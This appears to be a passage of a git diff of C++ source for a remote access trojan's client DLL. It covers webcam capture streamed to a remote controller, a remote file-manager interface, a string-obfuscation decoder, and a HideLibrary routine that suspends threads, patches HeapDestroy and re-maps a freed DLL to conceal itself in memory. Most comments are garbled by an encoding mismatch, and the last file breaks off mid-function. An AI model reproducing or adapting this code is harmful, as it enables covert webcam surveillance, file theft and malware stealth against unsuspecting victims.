//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "VideoManager.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CVideoManager::CVideoManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
m_pVideoCap = NULL;
|
||||
m_pVideoCodec = NULL;
|
||||
m_bIsWorking = true;
|
||||
m_bIsCompress = true;
|
||||
m_nVedioWidth = 0;
|
||||
m_nVedioHeight = 0;
|
||||
m_fccHandler = 0;
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||||
}
|
||||
|
||||
CVideoManager::~CVideoManager()
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, false);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
}
|
||||
|
||||
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pVideoCodec)
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||
}
|
||||
break;
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS:
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||
break;
|
||||
case COMMAND_WEBCAM_RESIZE:
|
||||
ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CVideoManager::sendBITMAPINFO()
|
||||
{
|
||||
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(lpBuffer + 1, m_pVideoCap->m_lpbmi, sizeof(BITMAPINFO));
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::sendNextScreen()
|
||||
{
|
||||
LPVOID lpDIB = m_pVideoCap->GetDIB();
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
UINT nBufferLen = nHeadLen + m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
|
||||
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
lpBuffer[1] = m_bIsCompress;
|
||||
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD));
|
||||
|
||||
UINT nPacketLen = 0;
|
||||
if (m_bIsCompress && m_pVideoCodec)
|
||||
{
|
||||
int nCompressLen = 0;
|
||||
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
||||
m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage, lpBuffer + nHeadLen, &nCompressLen, NULL);
|
||||
if (!nCompressLen)
|
||||
{
|
||||
// some thing ...
|
||||
return;
|
||||
}
|
||||
nPacketLen = nCompressLen + nHeadLen;
|
||||
}
|
||||
else
|
||||
{
|
||||
memcpy(lpBuffer + nHeadLen, lpDIB, m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage);
|
||||
nPacketLen = m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage + nHeadLen;
|
||||
}
|
||||
|
||||
Send(lpBuffer, nPacketLen);
|
||||
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::ResetScreen(int nWidth, int nHeight)
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, false);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>С
|
||||
m_nVedioWidth = nWidth;
|
||||
m_nVedioHeight = nHeight;
|
||||
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, true);
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||||
}
|
||||
|
||||
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
|
||||
{
|
||||
static DWORD dwLastScreen = GetTickCount();
|
||||
|
||||
CVideoManager *pThis = (CVideoManager *)lparam;
|
||||
|
||||
if (!pThis->Initialize())
|
||||
{
|
||||
pThis->Destroy();
|
||||
pThis->m_pClient->Disconnect();
|
||||
return -1;
|
||||
}
|
||||
pThis->sendBITMAPINFO();
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
pThis->WaitForDialogOpen();
|
||||
|
||||
while (pThis->m_bIsWorking)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
if ((GetTickCount() - dwLastScreen) < 150)
|
||||
Sleep(100);
|
||||
dwLastScreen = GetTickCount();
|
||||
pThis->sendNextScreen();
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5><EFBFBD>
|
||||
pThis->Destroy();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool CVideoManager::Initialize()
|
||||
{
|
||||
bool bRet = false;
|
||||
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>
|
||||
if (!CVideoCap::IsWebCam())
|
||||
return false;
|
||||
|
||||
m_pVideoCap = new CVideoCap;
|
||||
|
||||
// ָ<><D6B8><EFBFBD>˹̶<CBB9><CCB6><EFBFBD>С
|
||||
if (m_nVedioWidth && m_nVedioHeight)
|
||||
{
|
||||
bRet = m_pVideoCap->Initialize(m_nVedioWidth, m_nVedioHeight);
|
||||
}
|
||||
else
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>H263<36><33><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>ִ<EFBFBD>С,<2C><><EFBFBD>ȿ<EFBFBD><C8BF><EFBFBD>
|
||||
bRet = m_pVideoCap->Initialize(352, 288);
|
||||
if (!bRet)
|
||||
bRet = m_pVideoCap->Initialize(176, 144);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ϵͳĬ<CDB3>ϵ<EFBFBD>
|
||||
if (!bRet)
|
||||
bRet = m_pVideoCap->Initialize();
|
||||
|
||||
}
|
||||
|
||||
// <20><>Ҫ<EFBFBD><D2AA>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CVideoCap<61><70>ʼ<EFBFBD><CABC>ʧ<EFBFBD><CAA7>
|
||||
if (!bRet)
|
||||
return bRet;
|
||||
|
||||
// <20><><EFBFBD>⼸<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡһ<D1A1><D2BB>
|
||||
DWORD fccHandlerArray[] =
|
||||
{
|
||||
859189837, // Microsoft H.263 Video Codec
|
||||
842225225, // Intel Indeo(R) Video R3.2
|
||||
842289229, // Microsoft MPEG-4 Video Codec V2
|
||||
1684633187 // Cinepak Codec by Radius
|
||||
};
|
||||
|
||||
for (int i = 0; i < sizeof(fccHandlerArray) / sizeof(fccHandlerArray[0]); i++)
|
||||
{
|
||||
m_pVideoCodec = new CVideoCodec;
|
||||
if (!m_pVideoCodec->InitCompressor(m_pVideoCap->m_lpbmi, fccHandlerArray[i]))
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
m_fccHandler = fccHandlerArray[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
void CVideoManager::Destroy()
|
||||
{
|
||||
if (m_pVideoCap)
|
||||
{
|
||||
delete m_pVideoCap;
|
||||
m_pVideoCap = NULL;
|
||||
}
|
||||
if (m_pVideoCodec)
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
}
|
||||
40
CcMainDll/CcMainDll/common/VideoManager.h
Normal file
40
CcMainDll/CcMainDll/common/VideoManager.h
Normal file
@@ -0,0 +1,40 @@
|
||||
// VideoManager.h: interface for the CVideoManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)
|
||||
#define AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "VideoCap.h"
|
||||
#include "..\..\..\common\VideoCodec.h"
|
||||
class CVideoManager : public CManager
|
||||
{
|
||||
public:
|
||||
void Destroy();
|
||||
bool Initialize();
|
||||
CVideoManager(CClientSocket *pClient);
|
||||
virtual ~CVideoManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
void sendBITMAPINFO();
|
||||
void sendNextScreen();
|
||||
bool m_bIsWorking;
|
||||
private:
|
||||
CVideoCap *m_pVideoCap;
|
||||
CVideoCodec *m_pVideoCodec;
|
||||
DWORD m_fccHandler;
|
||||
int m_nVedioWidth;
|
||||
int m_nVedioHeight;
|
||||
|
||||
bool m_bIsCompress;
|
||||
HANDLE m_hWorkThread;
|
||||
void ResetScreen(int nWidth, int nHeight);
|
||||
static DWORD WINAPI WorkThread(LPVOID lparam);
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)
|
||||
89
CcMainDll/CcMainDll/common/decode.h
Normal file
89
CcMainDll/CcMainDll/common/decode.h
Normal file
@@ -0,0 +1,89 @@
|
||||
static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
static int pos(char c)
|
||||
{
|
||||
char *p;
|
||||
for(p = base64; *p; p++)
|
||||
if(*p == c)
|
||||
return p - base64;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int base64_decode(const char *str, char **data)
|
||||
{
|
||||
const char *s, *p;
|
||||
unsigned char *q;
|
||||
int c;
|
||||
int x;
|
||||
int done = 0;
|
||||
int len;
|
||||
s = (const char *)malloc(strlen(str));
|
||||
q = (unsigned char *)s;
|
||||
for(p=str; *p && !done; p+=4){
|
||||
x = pos(p[0]);
|
||||
if(x >= 0)
|
||||
c = x;
|
||||
else{
|
||||
done = 3;
|
||||
break;
|
||||
}
|
||||
c*=64;
|
||||
|
||||
x = pos(p[1]);
|
||||
if(x >= 0)
|
||||
c += x;
|
||||
else
|
||||
return -1;
|
||||
c*=64;
|
||||
|
||||
if(p[2] == '=')
|
||||
done++;
|
||||
else{
|
||||
x = pos(p[2]);
|
||||
if(x >= 0)
|
||||
c += x;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
c*=64;
|
||||
|
||||
if(p[3] == '=')
|
||||
done++;
|
||||
else{
|
||||
if(done)
|
||||
return -1;
|
||||
x = pos(p[3]);
|
||||
if(x >= 0)
|
||||
c += x;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
if(done < 3)
|
||||
*q++=(c&0x00ff0000)>>16;
|
||||
|
||||
if(done < 2)
|
||||
*q++=(c&0x0000ff00)>>8;
|
||||
if(done < 1)
|
||||
*q++=(c&0x000000ff)>>0;
|
||||
}
|
||||
|
||||
len = q - (unsigned char*)(s);
|
||||
|
||||
*data = (char*)realloc((void *)s, len);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
char* MyDecode(char *str)
|
||||
{
|
||||
int i, len;
|
||||
char *data = NULL;
|
||||
len = base64_decode(str, &data);
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
data[i] -= 0x86;
|
||||
data[i] ^= 0x19;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
57
CcMainDll/CcMainDll/common/filemanager.h
Normal file
57
CcMainDll/CcMainDll/common/filemanager.h
Normal file
@@ -0,0 +1,57 @@
|
||||
// FileManager.h: interface for the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
using namespace std;
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
typedef struct
|
||||
{
|
||||
UINT nFileSize; // <20>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
UINT nSendSize; // <20>ѷ<EFBFBD><D1B7>ʹ<EFBFBD>С
|
||||
}SENDFILEPROGRESS, *PSENDFILEPROGRESS;
|
||||
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer();
|
||||
UINT SendFilesList(LPCTSTR lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
UINT SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
317
CcMainDll/CcMainDll/common/hidelibrary.h
Normal file
317
CcMainDll/CcMainDll/common/hidelibrary.h
Normal file
@@ -0,0 +1,317 @@
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <psapi.h>
|
||||
|
||||
#pragma comment(lib, "Psapi.lib")
|
||||
|
||||
void HideLibrary(HMODULE hModule, LPVOID pCallBackAddr, LPVOID lParam);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
HMODULE lpDllBase;
|
||||
LPVOID lpNewDllBase;
|
||||
PTHREAD_START_ROUTINE pAddress;
|
||||
LPVOID lParam;
|
||||
}UNLOADLIB_CALLBACK, *PUNLOADLIB_CALLBACK;
|
||||
|
||||
typedef
|
||||
LPVOID WINAPI VIRTUALALLOC(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
|
||||
typedef
|
||||
BOOL WINAPI VIRTUALFREE(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD dwFreeType
|
||||
);
|
||||
|
||||
|
||||
typedef
|
||||
BOOL WINAPI HEAPDESTROY(
|
||||
HANDLE hHeap
|
||||
);
|
||||
|
||||
typedef
|
||||
HMODULE WINAPI LOADLIBRARY(
|
||||
LPCTSTR lpFileName
|
||||
);
|
||||
|
||||
typedef
|
||||
HANDLE WINAPI CREATETHREAD(
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress,
|
||||
LPVOID lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId
|
||||
);
|
||||
|
||||
typedef void * __cdecl MEMCPY(void *, const void *, size_t);
|
||||
|
||||
|
||||
BOOL incLibraryCount(HMODULE hMe)
|
||||
{
|
||||
//FreeLibrary<72><79><EFBFBD>ܶ<EFBFBD>ϵͳdllҲ<6C><D2B2>free<65><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѽ<EFBFBD><D1BC>ص<EFBFBD><D8B5><EFBFBD>loadһ<64><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD>
|
||||
|
||||
HANDLE hModsSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
|
||||
|
||||
if(INVALID_HANDLE_VALUE == hModsSnap)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
MODULEENTRY32 meModuleEntry;
|
||||
meModuleEntry.dwSize = sizeof(MODULEENTRY32);
|
||||
|
||||
if(!Module32First(hModsSnap, &meModuleEntry))
|
||||
{
|
||||
CloseHandle(hModsSnap);
|
||||
return FALSE;
|
||||
}
|
||||
do
|
||||
{
|
||||
if(LoadLibrary(meModuleEntry.szModule) == hMe)
|
||||
FreeLibrary(hMe);
|
||||
|
||||
} while(Module32Next(hModsSnap, &meModuleEntry));
|
||||
|
||||
CloseHandle(hModsSnap);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//ö<><C3B6>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
DWORD WINAPI EnumAndSetThreadState(LPVOID lParam)
|
||||
{
|
||||
HANDLE hThreadSnap = NULL;
|
||||
THREADENTRY32 te32;
|
||||
memset(&te32,0,sizeof(te32));
|
||||
te32.dwSize = sizeof(THREADENTRY32);
|
||||
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
|
||||
|
||||
DWORD myThreadId = GetCurrentThreadId();
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
|
||||
if (Thread32First(hThreadSnap, &te32))
|
||||
{
|
||||
do
|
||||
{
|
||||
if (pid == te32.th32OwnerProcessID)
|
||||
{
|
||||
if(myThreadId != te32.th32ThreadID)
|
||||
{
|
||||
HANDLE hThread = OpenThread(
|
||||
THREAD_SUSPEND_RESUME,
|
||||
FALSE,
|
||||
te32.th32ThreadID);
|
||||
|
||||
if(hThread != NULL)
|
||||
{
|
||||
if((int)lParam)
|
||||
ResumeThread(hThread);
|
||||
else
|
||||
SuspendThread(hThread);
|
||||
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
while (Thread32Next(hThreadSnap,&te32));
|
||||
}
|
||||
CloseHandle( hThreadSnap );
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI GotoCallBackAddr(LPVOID lParam)
|
||||
{
|
||||
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
|
||||
|
||||
DWORD dwThreadId;
|
||||
HANDLE hThread;
|
||||
|
||||
if(cbFunc->pAddress)
|
||||
{
|
||||
hThread = CreateThread(
|
||||
NULL,
|
||||
0,
|
||||
cbFunc->pAddress,
|
||||
cbFunc->lParam,
|
||||
0,
|
||||
&dwThreadId);
|
||||
|
||||
if(hThread)
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
//<2F>Ƿ<EFBFBD>dll<6C>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ˣ<EFBFBD><CBA3>ͷ<EFBFBD>~
|
||||
VirtualFree(cbFunc->lpNewDllBase, 0, MEM_DECOMMIT);
|
||||
delete cbFunc;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI UnLoadLibrary(LPVOID lParam)
|
||||
{
|
||||
BYTE HeapDestroy_HookCode_bak[4];
|
||||
BYTE HeapDestroy_HookCode[4] = "\xC2\x04\x00";//RETN 0004
|
||||
MODULEINFO modinfo;
|
||||
DWORD oldProtect;
|
||||
|
||||
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
|
||||
|
||||
HMODULE hDllInstance = cbFunc->lpDllBase;
|
||||
char dllpath_bak[MAX_PATH];
|
||||
|
||||
GetModuleFileName(hDllInstance, dllpath_bak, sizeof(dllpath_bak));
|
||||
GetModuleInformation(GetCurrentProcess(), hDllInstance, &modinfo, sizeof(MODULEINFO));
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dll(<28><><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>)<29><><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD>,<2C><>ֹFreeLibrary<72><79>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Щdll<6C><6C>ϵͳж<CDB3>ص<EFBFBD>
|
||||
incLibraryCount(hDllInstance);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3>㶨<EFBFBD><E3B6A8><EFBFBD>ٻָ<D9BB>
|
||||
EnumAndSetThreadState((LPVOID)FALSE);
|
||||
|
||||
//FreeLibrary֮<79><D6AE>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>api<70><69>ַ<EFBFBD><D6B7><EFBFBD>ڴ<EFBFBD>Ҳ<EFBFBD>ᱻ<EFBFBD>ͷţ<CDB7>
|
||||
//<2F><><EFBFBD><EFBFBD>FreeLibrary֮<79><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD>ûfree<65><65><EFBFBD>ؼ<EFBFBD>API<50><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
VIRTUALALLOC *_VirtualAlloc = (VIRTUALALLOC*)
|
||||
GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
|
||||
LOADLIBRARY *_LoadLibrary = (LOADLIBRARY*)
|
||||
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
|
||||
CREATETHREAD *_CreateThread = (CREATETHREAD*)
|
||||
GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");
|
||||
MEMCPY *_memcpy = (MEMCPY*)
|
||||
GetProcAddress(GetModuleHandle("ntdll.dll"), "memcpy");
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܹؼ<DCB9><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>ã<EFBFBD><C3A3><EFBFBD> FreeLibrary ʱϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD>Ҫhook<6F><6B>,
|
||||
//<2F><><EFBFBD>ܸ<EFBFBD>ϵͳ<CFB5>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>heap<61><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD>dllò<6C><C3B2><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD><EFBFBD>
|
||||
//<2F><>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>new<65><77>malloc<6F><63><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>, VirtualAlloc<6F><63><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>֮<EFBFBD><D6AE>
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><C7BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>һЩ<D2BB><D0A9><EFBFBD>벻<EFBFBD>ø<EFBFBD>,<2C><>list<T><3E><>push<73>ڲ<EFBFBD><DAB2><EFBFBD>new
|
||||
|
||||
HEAPDESTROY *_HeapDestroy = (HEAPDESTROY*)
|
||||
GetProcAddress(GetModuleHandle("kernel32.dll"), "HeapDestroy");
|
||||
|
||||
VirtualProtect(_HeapDestroy, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
|
||||
|
||||
//<2F>ĵ<DEB8>һ<EFBFBD><D2BB>ָ<EFBFBD><D6B8>Ϊֱ<CEAA>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
_memcpy(HeapDestroy_HookCode_bak, _HeapDestroy, 3);
|
||||
_memcpy(_HeapDestroy, HeapDestroy_HookCode, 3);
|
||||
|
||||
|
||||
//Sleep(100);
|
||||
//<2F><><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~~~^_^!
|
||||
FreeLibrary(hDllInstance);//<2F>ͷ<EFBFBD>
|
||||
|
||||
//<2F><EFBFBD><DEB8><EFBFBD>hook<6F>ĺ<EFBFBD><C4BA><EFBFBD>
|
||||
_memcpy(_HeapDestroy, HeapDestroy_HookCode_bak, 3);
|
||||
//_memcpy(_RtlFreeHeap, RtlFreeHeap_HookCode_bak, 3);
|
||||
|
||||
//<2F><>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>dll<6C><6C>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD>ڴ棬<DAB4><E6A3AC><EFBFBD><EFBFBD>֮ǰ<D6AE><C7B0><EFBFBD>Ƿ<EFBFBD>dll<6C><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD>ȥ
|
||||
if(_VirtualAlloc(hDllInstance,
|
||||
modinfo.SizeOfImage,
|
||||
MEM_COMMIT|MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE) == NULL
|
||||
)
|
||||
{
|
||||
//ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD>dll, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD>
|
||||
